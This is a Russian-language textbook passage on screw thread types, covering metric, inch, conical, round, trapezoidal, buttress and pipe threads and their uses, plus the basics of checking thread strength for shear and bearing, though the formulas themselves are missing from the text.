Существуют другие типы специализированного резьбового профиля, применяемого в различных отраслях. Все они стандартизированы документами государств-разработчиков.
Виды резьб
Для резьб с симметричным профилем угол наклона профиля равен половине угла профиля.
Рис. 1 — Профиль резьбы
Метрическая резьба
Метрическая резьба (рис. 2) — основная треугольная крепежная резьба. Метрические резьбы бывают с крупными и мелкими шагами. Наиболее распространена метрическая резьба с крупным шагом, так как по сравнению с резьбами с мелкими шагами она оказывает меньшее влияние на износ и ошибки изготовления.
Метрические резьбы с мелкими шагами по сравнению с резьбой с крупным шагом при одном и том же наружном диаметре обеспечивают детали большие прочность (глубина канавок резьбы меньше и внутренний диаметр резьбы больше) и надежность от самоотвинчивания (шаг резьбы, а следовательно, и угол подъема резьбы меньшие).
Поэтому метрические резьбы с мелкими шагами применяют при изготовлении тонкостенных резьбовых деталей, служащих для регулирования и подверженных действию динамических нагрузок.
Рис. 2 — Метрическая резьба
Дюймовая резьба
Дюймовая резьба (рис. 3), так же как и метрическая, — треугольная, крепежная. Ее применяют для замены резьбовых деталей старых и импортных машин, ввозимых из стран, в которых применяется дюймовая система мер (США, Англия и др.), и в некоторых особых случаях.
Рис. 3 — Дюймовая резьба
Метрическая коническая резьба
Метрическая коническая резьба имеет треугольный профиль, аналогичный (по размерам элементов профиля) профилю метрической резьбы по ГОСТ 25229-82 (СТ СЭВ 307-76). Она применяется для конических резьбовых плотных (непроницаемых) соединении.
Круглая резьба
Круглая резьба (рис. 4) применяется для винтов, несущих большие динамические нагрузки, работающих в загрязненной среде с частым отвинчиванием и завинчиванием (вагонные сцепки, пожарная арматура), а также в тонкостенных изделиях, как, например, на цоколях и патронах электрических ламп, частей противогазов и т. п. Несколько видов круглой резьбы стандартизованы.
Рис. 4 — Круглая резьба
Трапецеидальная резьба
Трапецеидальная резьба (рис. 5) — основная резьба передач винт — гайка и червяков червячных передач. Она удобна для изготовления, по сравнению с треугольной резьбой имеет меньшие потери на трение, а по сравнению с прямоугольной более прочная.
Рис. 5 — Трапецеидальная резьба
Упорная резьба
Упорная резьба (рис. 6) имеет несимметричный трапецеидальный профиль витков. Применяется для винтов, воспринимающих большую одностороннюю осевую нагрузку в прессах, нажимных устройствах прокатных станов, грузовых крюках и т. п.
Рис. 6 — Упорная резьба
Трубная цилиндрическая, трубная коническая и коническая дюймовая
Трубная цилиндрическая (рис. 7), трубная коническая (рис. 8) и коническая дюймовая (рис. 9) резьбы представляют собой мелкие треугольные дюймовые крепежно-уплотняющие резьбы. Они приме няются в основном для соединения труб и арматуры трубопроводов. Конические резьбы обеспечивают герметичность соединения резьбовых деталей без специальных уплотнений.
Рис. 7 — Трубная цилиндрическая Рис. 8 — Трубная коническая Рис. 9 — Коническая дюймовая
Прямоугольная (и квадратная) резьба изготовляется на токарно-винторезных станках. Такой способ не позволяет получить высокую точность, и поэтому данная резьба применяется сравнительно редко и соответственно не стандартизована.
Размеры стандартной резьбы принимают по соответствующему ГОСТу в зависимости от наружного диаметра d резьбы.
Исследования прочности резьбы показывают, что осевая нагрузка распределяется между витками резьбы неравномерно, что объясняется не только невозможностью изготовления абсолютно точной резьбы, но и неблагоприятным сочетанием деформаций болта и ганки (болт растягивается, а гайка сжимается). Для упрощения расчетов резьбы на прочность условно принимают, что осевая нагрузка распределяется между витками резьбы равномерно. Расчет резьбы на прочность производят обычно как проверочный.
Из рис. 1 видно, что если на сопрягаемые резьбой детали (болт и гайку и пр.) действует осевая сила F, то витки резьбы каждой детали работают на срез, смятие и изгиб.
на смятие где τc — расчетное напряжение на срез резьбы; σsm — расчетное напряжение на смятие между витками резьбы; n — число витков резьбы, воспринимающих нагрузку; k — коэффициент полноты резьбы (см. рис. 1), показывающий отношение высоты витка в опасном сечении к шагу резьбы;
[τc] — допускаемое напряжение на срез резьбы;
[σsm] — допускаемое напряжение на смятие резьбы.
Коэффициент полноты резьбы для метрической резьбы болтов, винтов и шпилек (см. рис. 1) k=0,75; гаек k=0,88; трапецеидальной резьбы k=0,65.
Если охватывающая резьбовая деталь изготовлена иэ менее прочного материала, чем материал охватываемой резьбой детали, то расчет резьбы на срез следует выполнять для каждой из этих деталей. Условие прочности охватывающей детали на срез
Так как прочность резьбы стандартных крепежных деталей гарантирована ГОСТом, то расчет резьбы этих деталей на прочность не производят.